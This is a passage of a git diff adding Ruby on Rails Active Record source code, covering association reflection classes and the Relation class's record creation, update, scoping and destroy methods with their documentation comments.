+      end
+
+      def constructable? # :nodoc:
+        @constructable
+      end
+
+      def join_table
+        @join_table ||= options[:join_table] || derive_join_table
+      end
+
+      def foreign_key
+        @foreign_key ||= options[:foreign_key] || derive_foreign_key.freeze
+      end
+
+      def association_foreign_key
+        @association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key
+      end
+
+      # klass option is necessary to support loading polymorphic associations
+      def association_primary_key(klass = nil)
+        options[:primary_key] || primary_key(klass || self.klass)
+      end
+
+      def association_primary_key_type
+        klass.type_for_attribute(association_primary_key.to_s)
+      end
+
+      def active_record_primary_key
+        @active_record_primary_key ||= options[:primary_key] || primary_key(active_record)
+      end
+
+      def check_validity!
+        check_validity_of_inverse!
+      end
+
+      def check_preloadable!
+        return unless scope
+
+        if scope.arity > 0
+          raise ArgumentError, <<-MSG.squish
+            The association scope '#{name}' is instance dependent (the scope
+            block takes an argument). Preloading instance dependent scopes is
+            not supported.
+          MSG
+        end
+      end
+      alias :check_eager_loadable! :check_preloadable!
+
+      def join_id_for(owner) # :nodoc:
+        owner[active_record_primary_key]
+      end
+
+      def through_reflection
+        nil
+      end
+
+      def source_reflection
+        self
+      end
+
+      # A chain of reflections from this one back to the owner. For more see the explanation in
+      # ThroughReflection.
+      def collect_join_chain
+        [self]
+      end
+
+      # This is for clearing cache on the reflection. Useful for tests that need to compare
+      # SQL queries on associations.
+      def clear_association_scope_cache # :nodoc:
+        @association_scope_cache.clear
+      end
+
+      def nested?
+        false
+      end
+
+      def has_scope?
+        scope
+      end
+
+      def has_inverse?
+        inverse_name
+      end
+
+      def polymorphic_inverse_of(associated_class)
+        if has_inverse?
+          if inverse_relationship = associated_class._reflect_on_association(options[:inverse_of])
+            inverse_relationship
+          else
+            raise InverseOfAssociationNotFoundError.new(self, associated_class)
+          end
+        end
+      end
+
+      # Returns the macro type.
+      #
+      # <tt>has_many :clients</tt> returns <tt>:has_many</tt>
+      def macro; raise NotImplementedError; end
+
+      # Returns whether or not this association reflection is for a collection
+      # association. Returns +true+ if the +macro+ is either +has_many+ or
+      # +has_and_belongs_to_many+, +false+ otherwise.
+      def collection?
+        false
+      end
+
+      # Returns whether or not the association should be validated as part of
+      # the parent's validation.
+      #
+      # Unless you explicitly disable validation with
+      # <tt>validate: false</tt>, validation will take place when:
+      #
+      # * you explicitly enable validation; <tt>validate: true</tt>
+      # * you use autosave; <tt>autosave: true</tt>
+      # * the association is a +has_many+ association
+      def validate?
+        !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || collection?)
+      end
+
+      # Returns +true+ if +self+ is a +belongs_to+ reflection.
+      def belongs_to?; false; end
+
+      # Returns +true+ if +self+ is a +has_one+ reflection.
+      def has_one?; false; end
+
+      def association_class; raise NotImplementedError; end
+
+      def polymorphic?
+        options[:polymorphic]
+      end
+
+      VALID_AUTOMATIC_INVERSE_MACROS = [:has_many, :has_one, :belongs_to]
+      INVALID_AUTOMATIC_INVERSE_OPTIONS = [:conditions, :through, :foreign_key]
+
+      def add_as_source(seed)
+        seed
+      end
+
+      def add_as_polymorphic_through(reflection, seed)
+        seed + [PolymorphicReflection.new(self, reflection)]
+      end
+
+      def add_as_through(seed)
+        seed + [self]
+      end
+
+      def extensions
+        Array(options[:extend])
+      end
+
+      private
+
+        def calculate_constructable(macro, options)
+          true
+        end
+
+        # Attempts to find the inverse association name automatically.
+        # If it cannot find a suitable inverse association name, it returns
+        # +nil+.
+        def inverse_name
+          options.fetch(:inverse_of) do
+            @automatic_inverse_of ||= automatic_inverse_of
+          end
+        end
+
+        # returns either false or the inverse association name that it finds.
+        def automatic_inverse_of
+          if can_find_inverse_of_automatically?(self)
+            inverse_name = ActiveSupport::Inflector.underscore(options[:as] || active_record.name.demodulize).to_sym
+
+            begin
+              reflection = klass._reflect_on_association(inverse_name)
+            rescue NameError
+              # Give up: we couldn't compute the klass type so we won't be able
+              # to find any associations either.
+              reflection = false
+            end
+
+            if valid_inverse_reflection?(reflection)
+              return inverse_name
+            end
+          end
+
+          false
+        end
+
+        # Checks if the inverse reflection that is returned from the
+        # +automatic_inverse_of+ method is a valid reflection. We must
+        # make sure that the reflection's active_record name matches up
+        # with the current reflection's klass name.
+        #
+        # Note: klass will always be valid because when there's a NameError
+        # from calling +klass+, +reflection+ will already be set to false.
+        def valid_inverse_reflection?(reflection)
+          reflection &&
+            klass.name == reflection.active_record.name &&
+            can_find_inverse_of_automatically?(reflection)
+        end
+
+        # Checks to see if the reflection doesn't have any options that prevent
+        # us from being able to guess the inverse automatically. First, the
+        # <tt>inverse_of</tt> option cannot be set to false. Second, we must
+        # have <tt>has_many</tt>, <tt>has_one</tt>, <tt>belongs_to</tt> associations.
+        # Third, we must not have options such as <tt>:foreign_key</tt>
+        # which prevent us from correctly guessing the inverse association.
+        #
+        # Anything with a scope can additionally ruin our attempt at finding an
+        # inverse, so we exclude reflections with scopes.
+        def can_find_inverse_of_automatically?(reflection)
+          reflection.options[:inverse_of] != false &&
+            VALID_AUTOMATIC_INVERSE_MACROS.include?(reflection.macro) &&
+            !INVALID_AUTOMATIC_INVERSE_OPTIONS.any? { |opt| reflection.options[opt] } &&
+            !reflection.scope
+        end
+
+        def derive_class_name
+          class_name = name.to_s
+          class_name = class_name.singularize if collection?
+          class_name.camelize
+        end
+
+        def derive_foreign_key
+          if belongs_to?
+            "#{name}_id"
+          elsif options[:as]
+            "#{options[:as]}_id"
+          else
+            active_record.name.foreign_key
+          end
+        end
+
+        def derive_join_table
+          ModelSchema.derive_join_table_name active_record.table_name, klass.table_name
+        end
+
+        def primary_key(klass)
+          klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+        end
+    end
+
+    class HasManyReflection < AssociationReflection # :nodoc:
+      def macro; :has_many; end
+
+      def collection?; true; end
+
+      def association_class
+        if options[:through]
+          Associations::HasManyThroughAssociation
+        else
+          Associations::HasManyAssociation
+        end
+      end
+    end
+
+    class HasOneReflection < AssociationReflection # :nodoc:
+      def macro; :has_one; end
+
+      def has_one?; true; end
+
+      def association_class
+        if options[:through]
+          Associations::HasOneThroughAssociation
+        else
+          Associations::HasOneAssociation
+        end
+      end
+
+      private
+
+        def calculate_constructable(macro, options)
+          !options[:through]
+        end
+    end
+
+    class BelongsToReflection < AssociationReflection # :nodoc:
+      def macro; :belongs_to; end
+
+      def belongs_to?; true; end
+
+      def association_class
+        if polymorphic?
+          Associations::BelongsToPolymorphicAssociation
+        else
+          Associations::BelongsToAssociation
+        end
+      end
+
+      def join_id_for(owner) # :nodoc:
+        owner[foreign_key]
+      end
+
+      private
+
+        def calculate_constructable(macro, options)
+          !polymorphic?
+        end
+
+        def join_fk
+          foreign_key
+        end
+
+        def join_pk(klass)
+          polymorphic? ? association_primary_key(klass) : association_primary_key
+        end
+    end
+
+    class HasAndBelongsToManyReflection < AssociationReflection # :nodoc:
+      def macro; :has_and_belongs_to_many; end
+
+      def collection?
+        true
+      end
+    end
+
+    # Holds all the metadata about a :through association as it was specified
+    # in the Active Record class.
+    class ThroughReflection < AbstractReflection #:nodoc:
+      delegate :foreign_key, :foreign_type, :association_foreign_key,
+               :active_record_primary_key, :type, :get_join_keys, to: :source_reflection
+
+      def initialize(delegate_reflection)
+        @delegate_reflection = delegate_reflection
+        @klass = delegate_reflection.options[:anonymous_class]
+        @source_reflection_name = delegate_reflection.options[:source]
+      end
+
+      def through_reflection?
+        true
+      end
+
+      def klass
+        @klass ||= delegate_reflection.compute_class(class_name)
+      end
+
+      # Returns the source of the through reflection. It checks both a singularized
+      # and pluralized form for <tt>:belongs_to</tt> or <tt>:has_many</tt>.
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :taggings
+      #     has_many :tags, through: :taggings
+      #   end
+      #
+      #   class Tagging < ActiveRecord::Base
+      #     belongs_to :post
+      #     belongs_to :tag
+      #   end
+      #
+      #   tags_reflection = Post.reflect_on_association(:tags)
+      #   tags_reflection.source_reflection
+      #   # => <ActiveRecord::Reflection::BelongsToReflection: @name=:tag, @active_record=Tagging, @plural_name="tags">
+      #
+      def source_reflection
+        through_reflection.klass._reflect_on_association(source_reflection_name)
+      end
+
+      # Returns the AssociationReflection object specified in the <tt>:through</tt> option
+      # of a HasManyThrough or HasOneThrough association.
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :taggings
+      #     has_many :tags, through: :taggings
+      #   end
+      #
+      #   tags_reflection = Post.reflect_on_association(:tags)
+      #   tags_reflection.through_reflection
+      #   # => <ActiveRecord::Reflection::HasManyReflection: @name=:taggings, @active_record=Post, @plural_name="taggings">
+      #
+      def through_reflection
+        active_record._reflect_on_association(options[:through])
+      end
+
+      # Returns an array of reflections which are involved in this association. Each item in the
+      # array corresponds to a table which will be part of the query for this association.
+      #
+      # The chain is built by recursively calling #chain on the source reflection and the through
+      # reflection. The base case for the recursion is a normal association, which just returns
+      # [self] as its #chain.
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :taggings
+      #     has_many :tags, through: :taggings
+      #   end
+      #
+      #   tags_reflection = Post.reflect_on_association(:tags)
+      #   tags_reflection.chain
+      #   # => [<ActiveRecord::Reflection::ThroughReflection: @delegate_reflection=#<ActiveRecord::Reflection::HasManyReflection: @name=:tags...>,
+      #         <ActiveRecord::Reflection::HasManyReflection: @name=:taggings, @options={}, @active_record=Post>]
+      #
+      def collect_join_chain
+        collect_join_reflections [self]
+      end
+
+      # This is for clearing cache on the reflection. Useful for tests that need to compare
+      # SQL queries on associations.
+      def clear_association_scope_cache # :nodoc:
+        delegate_reflection.clear_association_scope_cache
+        source_reflection.clear_association_scope_cache
+        through_reflection.clear_association_scope_cache
+      end
+
+      def scopes
+        source_reflection.scopes + super
+      end
+
+      def join_scopes(table, predicate_builder) # :nodoc:
+        source_reflection.join_scopes(table, predicate_builder) + super
+      end
+
+      def source_type_scope
+        through_reflection.klass.where(foreign_type => options[:source_type])
+      end
+
+      def has_scope?
+        scope || options[:source_type] ||
+          source_reflection.has_scope? ||
+          through_reflection.has_scope?
+      end
+
+      # A through association is nested if there would be more than one join table
+      def nested?
+        source_reflection.through_reflection? || through_reflection.through_reflection?
+      end
+
+      # We want to use the klass from this reflection, rather than just delegate straight to
+      # the source_reflection, because the source_reflection may be polymorphic. We still
+      # need to respect the source_reflection's :primary_key option, though.
+      def association_primary_key(klass = nil)
+        # Get the "actual" source reflection if the immediate source reflection has a
+        # source reflection itself
+        actual_source_reflection.options[:primary_key] || primary_key(klass || self.klass)
+      end
+
+      def association_primary_key_type
+        klass.type_for_attribute(association_primary_key.to_s)
+      end
+
+      # Gets an array of possible <tt>:through</tt> source reflection names in both singular and plural form.
+      #
+      #   class Post < ActiveRecord::Base
+      #     has_many :taggings
+      #     has_many :tags, through: :taggings
+      #   end
+      #
+      #   tags_reflection = Post.reflect_on_association(:tags)
+      #   tags_reflection.source_reflection_names
+      #   # => [:tag, :tags]
+      #
+      def source_reflection_names
+        options[:source] ? [options[:source]] : [name.to_s.singularize, name].uniq
+      end
+
+      def source_reflection_name # :nodoc:
+        return @source_reflection_name if @source_reflection_name
+
+        names = [name.to_s.singularize, name].collect(&:to_sym).uniq
+        names = names.find_all { |n|
+          through_reflection.klass._reflect_on_association(n)
+        }
+
+        if names.length > 1
+          raise AmbiguousSourceReflectionForThroughAssociation.new(
+            active_record.name,
+            macro,
+            name,
+            options,
+            source_reflection_names
+          )
+        end
+
+        @source_reflection_name = names.first
+      end
+
+      def source_options
+        source_reflection.options
+      end
+
+      def through_options
+        through_reflection.options
+      end
+
+      def join_id_for(owner) # :nodoc:
+        source_reflection.join_id_for(owner)
+      end
+
+      def check_validity!
+        if through_reflection.nil?
+          raise HasManyThroughAssociationNotFoundError.new(active_record.name, self)
+        end
+
+        if through_reflection.polymorphic?
+          if has_one?
+            raise HasOneAssociationPolymorphicThroughError.new(active_record.name, self)
+          else
+            raise HasManyThroughAssociationPolymorphicThroughError.new(active_record.name, self)
+          end
+        end
+
+        if source_reflection.nil?
+          raise HasManyThroughSourceAssociationNotFoundError.new(self)
+        end
+
+        if options[:source_type] && !source_reflection.polymorphic?
+          raise HasManyThroughAssociationPointlessSourceTypeError.new(active_record.name, self, source_reflection)
+        end
+
+        if source_reflection.polymorphic? && options[:source_type].nil?
+          raise HasManyThroughAssociationPolymorphicSourceError.new(active_record.name, self, source_reflection)
+        end
+
+        if has_one? && through_reflection.collection?
+          raise HasOneThroughCantAssociateThroughCollection.new(active_record.name, self, through_reflection)
+        end
+
+        if parent_reflection.nil?
+          reflections = active_record.reflections.keys.map(&:to_sym)
+
+          if reflections.index(through_reflection.name) > reflections.index(name)
+            raise HasManyThroughOrderError.new(active_record.name, self, through_reflection)
+          end
+        end
+
+        check_validity_of_inverse!
+      end
+
+      def constraints
+        scope_chain = source_reflection.constraints
+        scope_chain << scope if scope
+        scope_chain
+      end
+
+      def add_as_source(seed)
+        collect_join_reflections seed
+      end
+
+      def add_as_polymorphic_through(reflection, seed)
+        collect_join_reflections(seed + [PolymorphicReflection.new(self, reflection)])
+      end
+
+      def add_as_through(seed)
+        collect_join_reflections(seed + [self])
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :delegate_reflection
+
+        def actual_source_reflection # FIXME: this is a horrible name
+          source_reflection.actual_source_reflection
+        end
+
+      private
+        def collect_join_reflections(seed)
+          a = source_reflection.add_as_source seed
+          if options[:source_type]
+            through_reflection.add_as_polymorphic_through self, a
+          else
+            through_reflection.add_as_through a
+          end
+        end
+
+        def primary_key(klass)
+          klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+        end
+
+        def inverse_name; delegate_reflection.send(:inverse_name); end
+
+        def derive_class_name
+          # get the class_name of the belongs_to association of the through reflection
+          options[:source_type] || source_reflection.class_name
+        end
+
+        delegate_methods = AssociationReflection.public_instance_methods -
+          public_instance_methods
+
+        delegate(*delegate_methods, to: :delegate_reflection)
+    end
+
+    class PolymorphicReflection < AbstractReflection # :nodoc:
+      def initialize(reflection, previous_reflection)
+        @reflection = reflection
+        @previous_reflection = previous_reflection
+      end
+
+      def scopes
+        scopes = @previous_reflection.scopes
+        if @previous_reflection.options[:source_type]
+          scopes + [@previous_reflection.source_type_scope]
+        else
+          scopes
+        end
+      end
+
+      def join_scopes(table, predicate_builder) # :nodoc:
+        scopes = @previous_reflection.join_scopes(table, predicate_builder) + super
+        if @previous_reflection.options[:source_type]
+          scopes + [@previous_reflection.source_type_scope]
+        else
+          scopes
+        end
+      end
+
+      def klass
+        @reflection.klass
+      end
+
+      def scope
+        @reflection.scope
+      end
+
+      def table_name
+        @reflection.table_name
+      end
+
+      def plural_name
+        @reflection.plural_name
+      end
+
+      def type
+        @reflection.type
+      end
+
+      def constraints
+        @reflection.constraints + [source_type_info]
+      end
+
+      def source_type_info
+        type = @previous_reflection.foreign_type
+        source_type = @previous_reflection.options[:source_type]
+        lambda { |object| where(type => source_type) }
+      end
+
+      def get_join_keys(association_klass)
+        @reflection.get_join_keys(association_klass)
+      end
+    end
+
+    class RuntimeReflection < PolymorphicReflection # :nodoc:
+      attr_accessor :next
+
+      def initialize(reflection, association)
+        @reflection = reflection
+        @association = association
+      end
+
+      def klass
+        @association.klass
+      end
+
+      def table_name
+        klass.table_name
+      end
+
+      def constraints
+        @reflection.constraints
+      end
+
+      def source_type_info
+        @reflection.source_type_info
+      end
+
+      def alias_candidate(name)
+        "#{plural_name}_#{name}_join"
+      end
+
+      def alias_name
+        Arel::Table.new(table_name, type_caster: klass.type_caster)
+      end
+
+      def all_includes; yield; end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
new file mode 100644
index 0000000000..caabad6055
--- /dev/null
+++ b/activerecord/lib/active_record/relation.rb
@@ -0,0 +1,719 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record \Relation
+  class Relation
+    MULTI_VALUE_METHODS  = [:includes, :eager_load, :preload, :select, :group,
+                            :order, :joins, :left_outer_joins, :references,
+                            :extending, :unscope]
+
+    SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :reordering,
+                            :reverse_order, :distinct, :create_with, :skip_query_cache]
+    CLAUSE_METHODS = [:where, :having, :from]
+    INVALID_METHODS_FOR_DELETE_ALL = [:limit, :distinct, :offset, :group, :having]
+
+    VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS + CLAUSE_METHODS
+
+    include Enumerable
+    include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
+
+    attr_reader :table, :klass, :loaded, :predicate_builder
+    alias :model :klass
+    alias :loaded? :loaded
+    alias :locked? :lock_value
+
+    def initialize(klass, table, predicate_builder, values = {})
+      @klass  = klass
+      @table  = table
+      @values = values
+      @offsets = {}
+      @loaded = false
+      @predicate_builder = predicate_builder
+    end
+
+    def initialize_copy(other)
+      @values = @values.dup
+      reset
+    end
+
+    def insert(values) # :nodoc:
+      primary_key_value = nil
+
+      if primary_key && Hash === values
+        primary_key_value = values[values.keys.find { |k|
+          k.name == primary_key
+        }]
+
+        if !primary_key_value && klass.prefetch_primary_key?
+          primary_key_value = klass.next_sequence_value
+          values[arel_attribute(klass.primary_key)] = primary_key_value
+        end
+      end
+
+      im = arel.create_insert
+      im.into @table
+
+      substitutes = substitute_values values
+
+      if values.empty? # empty insert
+        im.values = Arel.sql(connection.empty_insert_statement_value)
+      else
+        im.insert substitutes
+      end
+
+      @klass.connection.insert(
+        im,
+        "SQL",
+        primary_key || false,
+        primary_key_value,
+        nil,
+      )
+    end
+
+    def _update_record(values, id, id_was) # :nodoc:
+      substitutes = substitute_values values
+
+      scope = @klass.unscoped
+
+      if @klass.finder_needs_type_condition?
+        scope.unscope!(where: @klass.inheritance_column)
+      end
+
+      relation = scope.where(@klass.primary_key => (id_was || id))
+      um = relation
+        .arel
+        .compile_update(substitutes, @klass.primary_key)
+
+      @klass.connection.update(
+        um,
+        "SQL",
+      )
+    end
+
+    def substitute_values(values) # :nodoc:
+      values.map do |arel_attr, value|
+        bind = predicate_builder.build_bind_attribute(arel_attr.name, value)
+        [arel_attr, bind]
+      end
+    end
+
+    def arel_attribute(name) # :nodoc:
+      klass.arel_attribute(name, table)
+    end
+
+    # Initializes new record from relation while maintaining the current
+    # scope.
+    #
+    # Expects arguments in the same format as {ActiveRecord::Base.new}[rdoc-ref:Core.new].
+    #
+    #   users = User.where(name: 'DHH')
+    #   user = users.new # => #<User id: nil, name: "DHH", created_at: nil, updated_at: nil>
+    #
+    # You can also pass a block to new with the new record as argument:
+    #
+    #   user = users.new { |user| user.name = 'Oscar' }
+    #   user.name # => Oscar
+    def new(*args, &block)
+      scoping { @klass.new(*args, &block) }
+    end
+
+    alias build new
+
+    # Tries to create a new record with the same scoped attributes
+    # defined in the relation. Returns the initialized object if validation fails.
+    #
+    # Expects arguments in the same format as
+    # {ActiveRecord::Base.create}[rdoc-ref:Persistence::ClassMethods#create].
+    #
+    # ==== Examples
+    #
+    #   users = User.where(name: 'Oscar')
+    #   users.create # => #<User id: 3, name: "Oscar", ...>
+    #
+    #   users.create(name: 'fxn')
+    #   users.create # => #<User id: 4, name: "fxn", ...>
+    #
+    #   users.create { |user| user.name = 'tenderlove' }
+    #   # => #<User id: 5, name: "tenderlove", ...>
+    #
+    #   users.create(name: nil) # validation on name
+    #   # => #<User id: nil, name: nil, ...>
+    def create(*args, &block)
+      scoping { @klass.create(*args, &block) }
+    end
+
+    # Similar to #create, but calls
+    # {create!}[rdoc-ref:Persistence::ClassMethods#create!]
+    # on the base class. Raises an exception if a validation error occurs.
+    #
+    # Expects arguments in the same format as
+    # {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!].
+    def create!(*args, &block)
+      scoping { @klass.create!(*args, &block) }
+    end
+
+    def first_or_create(attributes = nil, &block) # :nodoc:
+      first || create(attributes, &block)
+    end
+
+    def first_or_create!(attributes = nil, &block) # :nodoc:
+      first || create!(attributes, &block)
+    end
+
+    def first_or_initialize(attributes = nil, &block) # :nodoc:
+      first || new(attributes, &block)
+    end
+
+    # Finds the first record with the given attributes, or creates a record
+    # with the attributes if one is not found:
+    #
+    #   # Find the first user named "Penélope" or create a new one.
+    #   User.find_or_create_by(first_name: 'Penélope')
+    #   # => #<User id: 1, first_name: "Penélope", last_name: nil>
+    #
+    #   # Find the first user named "Penélope" or create a new one.
+    #   # We already have one so the existing record will be returned.
+    #   User.find_or_create_by(first_name: 'Penélope')
+    #   # => #<User id: 1, first_name: "Penélope", last_name: nil>
+    #
+    #   # Find the first user named "Scarlett" or create a new one with
+    #   # a particular last name.
+    #   User.create_with(last_name: 'Johansson').find_or_create_by(first_name: 'Scarlett')
+    #   # => #<User id: 2, first_name: "Scarlett", last_name: "Johansson">
+    #
+    # This method accepts a block, which is passed down to #create. The last example
+    # above can be alternatively written this way:
+    #
+    #   # Find the first user named "Scarlett" or create a new one with a
+    #   # different last name.
+    #   User.find_or_create_by(first_name: 'Scarlett') do |user|
+    #     user.last_name = 'Johansson'
+    #   end
+    #   # => #<User id: 2, first_name: "Scarlett", last_name: "Johansson">
+    #
+    # This method always returns a record, but if creation was attempted and
+    # failed due to validation errors it won't be persisted, you get what
+    # #create returns in such situation.
+    #
+    # Please note *this method is not atomic*, it runs first a SELECT, and if
+    # there are no results an INSERT is attempted. If there are other threads
+    # or processes there is a race condition between both calls and it could
+    # be the case that you end up with two similar records.
+    #
+    # Whether that is a problem or not depends on the logic of the
+    # application, but in the particular case in which rows have a UNIQUE
+    # constraint an exception may be raised, just retry:
+    #
+    #  begin
+    #    CreditAccount.transaction(requires_new: true) do
+    #      CreditAccount.find_or_create_by(user_id: user.id)
+    #    end
+    #  rescue ActiveRecord::RecordNotUnique
+    #    retry
+    #  end
+    #
+    def find_or_create_by(attributes, &block)
+      find_by(attributes) || create(attributes, &block)
+    end
+
+    # Like #find_or_create_by, but calls
+    # {create!}[rdoc-ref:Persistence::ClassMethods#create!] so an exception
+    # is raised if the created record is invalid.
+    def find_or_create_by!(attributes, &block)
+      find_by(attributes) || create!(attributes, &block)
+    end
+
+    # Like #find_or_create_by, but calls {new}[rdoc-ref:Core#new]
+    # instead of {create}[rdoc-ref:Persistence::ClassMethods#create].
+    def find_or_initialize_by(attributes, &block)
+      find_by(attributes) || new(attributes, &block)
+    end
+
+    # Runs EXPLAIN on the query or queries triggered by this relation and
+    # returns the result as a string. The string is formatted imitating the
+    # ones printed by the database shell.
+    #
+    # Note that this method actually runs the queries, since the results of some
+    # are needed by the next ones when eager loading is going on.
+    #
+    # Please see further details in the
+    # {Active Record Query Interface guide}[http://guides.rubyonrails.org/active_record_querying.html#running-explain].
+    def explain
+      exec_explain(collecting_queries_for_explain { exec_queries })
+    end
+
+    # Converts relation objects to Array.
+    def to_a
+      records.dup
+    end
+
+    def records # :nodoc:
+      load
+      @records
+    end
+
+    # Serializes the relation objects Array.
+    def encode_with(coder)
+      coder.represent_seq(nil, records)
+    end
+
+    # Returns size of the records.
+    def size
+      loaded? ? @records.length : count(:all)
+    end
+
+    # Returns true if there are no records.
+    def empty?
+      return @records.empty? if loaded?
+      !exists?
+    end
+
+    # Returns true if there are no records.
+    def none?
+      return super if block_given?
+      empty?
+    end
+
+    # Returns true if there are any records.
+    def any?
+      return super if block_given?
+      !empty?
+    end
+
+    # Returns true if there is exactly one record.
+    def one?
+      return super if block_given?
+      limit_value ? records.one? : size == 1
+    end
+
+    # Returns true if there is more than one record.
+    def many?
+      return super if block_given?
+      limit_value ? records.many? : size > 1
+    end
+
+    # Returns a cache key that can be used to identify the records fetched by
+    # this query. The cache key is built with a fingerprint of the sql query,
+    # the number of records matched by the query and a timestamp of the last
+    # updated record. When a new record comes to match the query, or any of
+    # the existing records is updated or deleted, the cache key changes.
+    #
+    #   Product.where("name like ?", "%Cosmic Encounter%").cache_key
+    #   # => "products/query-1850ab3d302391b85b8693e941286659-1-20150714212553907087000"
+    #
+    # If the collection is loaded, the method will iterate through the records
+    # to generate the timestamp, otherwise it will trigger one SQL query like:
+    #
+    #    SELECT COUNT(*), MAX("products"."updated_at") FROM "products" WHERE (name like '%Cosmic Encounter%')
+    #
+    # You can also pass a custom timestamp column to fetch the timestamp of the
+    # last updated record.
+    #
+    #   Product.where("name like ?", "%Game%").cache_key(:last_reviewed_at)
+    #
+    # You can customize the strategy to generate the key on a per model basis
+    # overriding ActiveRecord::Base#collection_cache_key.
+    def cache_key(timestamp_column = :updated_at)
+      @cache_keys ||= {}
+      @cache_keys[timestamp_column] ||= @klass.collection_cache_key(self, timestamp_column)
+    end
+
+    # Scope all queries to the current scope.
+    #
+    #   Comment.where(post_id: 1).scoping do
+    #     Comment.first
+    #   end
+    #   # => SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 ORDER BY "comments"."id" ASC LIMIT 1
+    #
+    # Please check unscoped if you want to remove all previous scopes (including
+    # the default_scope) during the execution of a block.
+    def scoping
+      previous, klass.current_scope = klass.current_scope(true), self
+      yield
+    ensure
+      klass.current_scope = previous
+    end
+
+    # Updates all records in the current relation with details given. This method constructs a single SQL UPDATE
+    # statement and sends it straight to the database. It does not instantiate the involved models and it does not
+    # trigger Active Record callbacks or validations. However, values passed to #update_all will still go through
+    # Active Record's normal type casting and serialization.
+    #
+    # ==== Parameters
+    #
+    # * +updates+ - A string, array, or hash representing the SET part of an SQL statement.
+    #
+    # ==== Examples
+    #
+    #   # Update all customers with the given attributes
+    #   Customer.update_all wants_email: true
+    #
+    #   # Update all books with 'Rails' in their title
+    #   Book.where('title LIKE ?', '%Rails%').update_all(author: 'David')
+    #
+    #   # Update all books that match conditions, but limit it to 5 ordered by date
+    #   Book.where('title LIKE ?', '%Rails%').order(:created_at).limit(5).update_all(author: 'David')
+    #
+    #   # Update all invoices and set the number column to its id value.
+    #   Invoice.update_all('number = id')
+    def update_all(updates)
+      raise ArgumentError, "Empty list of attributes to change" if updates.blank?
+
+      stmt = Arel::UpdateManager.new
+
+      stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
+      stmt.table(table)
+
+      if has_join_values?
+        @klass.connection.join_to_update(stmt, arel, arel_attribute(primary_key))
+      else
+        stmt.key = arel_attribute(primary_key)
+        stmt.take(arel.limit)
+        stmt.order(*arel.orders)
+        stmt.wheres = arel.constraints
+      end
+
+      @klass.connection.update stmt, "SQL"
+    end
+
+    # Updates an object (or multiple objects) and saves it to the database, if validations pass.
+    # The resulting object is returned whether the object was saved successfully to the database or not.
+    #
+    # ==== Parameters
+    #
+    # * +id+ - This should be the id or an array of ids to be updated.
+    # * +attributes+ - This should be a hash of attributes or an array of hashes.
+    #
+    # ==== Examples
+    #
+    #   # Updates one record
+    #   Person.update(15, user_name: 'Samuel', group: 'expert')
+    #
+    #   # Updates multiple records
+    #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
+    #   Person.update(people.keys, people.values)
+    #
+    #   # Updates multiple records from the result of a relation
+    #   people = Person.where(group: 'expert')
+    #   people.update(group: 'masters')
+    #
+    # Note: Updating a large number of records will run an
+    # UPDATE query for each record, which may cause a performance
+    # issue. When running callbacks is not needed for each record update,
+    # it is preferred to use #update_all for updating all records
+    # in a single query.
+    def update(id = :all, attributes)
+      if id.is_a?(Array)
+        id.map.with_index { |one_id, idx| update(one_id, attributes[idx]) }
+      elsif id == :all
+        records.each { |record| record.update(attributes) }
+      else
+        if ActiveRecord::Base === id
+          raise ArgumentError, <<-MSG.squish
+            You are passing an instance of ActiveRecord::Base to `update`.
+            Please pass the id of the object by calling `.id`.
+          MSG
+        end
+        object = find(id)
+        object.update(attributes)
+        object
+      end
+    end
+
+    # Destroys the records by instantiating each
+    # record and calling its {#destroy}[rdoc-ref:Persistence#destroy] method.
+    # Each object's callbacks are executed (including <tt>:dependent</tt> association options).
+    # Returns the collection of objects that were destroyed; each will be frozen, to
+    # reflect that no changes should be made (since they can't be persisted).
+    #
+    # Note: Instantiation, callback execution, and deletion of each
+    # record can be time consuming when you're removing many records at
+    # once. It generates at least one SQL +DELETE+ query per record (or
+    # possibly more, to enforce your callbacks). If you want to delete many
+    # rows quickly, without concern for their associations or callbacks, use
+    # #delete_all instead.
+    #
+    # ==== Examples
+    #
+    #   Person.where(age: 0..18).destroy_all
+    def destroy_all
+      records.each(&:destroy).tap { reset }
+    end
+
+    # Destroy an object (or multiple objects) that has the given id. The object is instantiated first,
+    # therefore all callbacks and filters are fired off before the object is deleted. This method is
+    # less efficient than #delete but allows cleanup methods and other actions to be run.
+    #
+    # This essentially finds the object (or multiple objects) with the given id, creates a new object
+    # from the attributes, and then calls destroy on it.
+    #
+    # ==== Parameters
+    #
+    # * +id+ - Can be either an Integer or an Array of Integers.
+    #
+    # ==== Examples
+    #
+    #   # Destroy a single object
+    #   Todo.destroy(1)
+    #
+    #   # Destroy multiple objects
+    #   todos = [1,2,3]
+    #   Todo.destroy(todos)
+    def destroy(id)
+      if id.is_a?(Array)
+        id.map { |one_id| destroy(one_id) }
+      else
+        find(id).destroy
+      end
+    end
+
+    # Deletes the records without instantiating the records
+    # first, and hence not calling the {#destroy}[rdoc-ref:Persistence#destroy]
+    # method nor invoking callbacks.
+    # This is a single SQL DELETE statement that goes straight to the database, much more
+    # efficient than #destroy_all. Be careful with relations though, in particular
+    # <tt>:dependent</tt> rules defined on associations are not honored. Returns the
+    # number of rows affected.
+    #
+    #   Post.where(person_id: 5).where(category: ['Something', 'Else']).delete_all
+    #
+    # Both calls delete the affected posts all at once with a single DELETE statement.
+    # If you need to destroy dependent associations or call your <tt>before_*</tt> or
+    # +after_destroy+ callbacks, use the #destroy_all method instead.
+    #
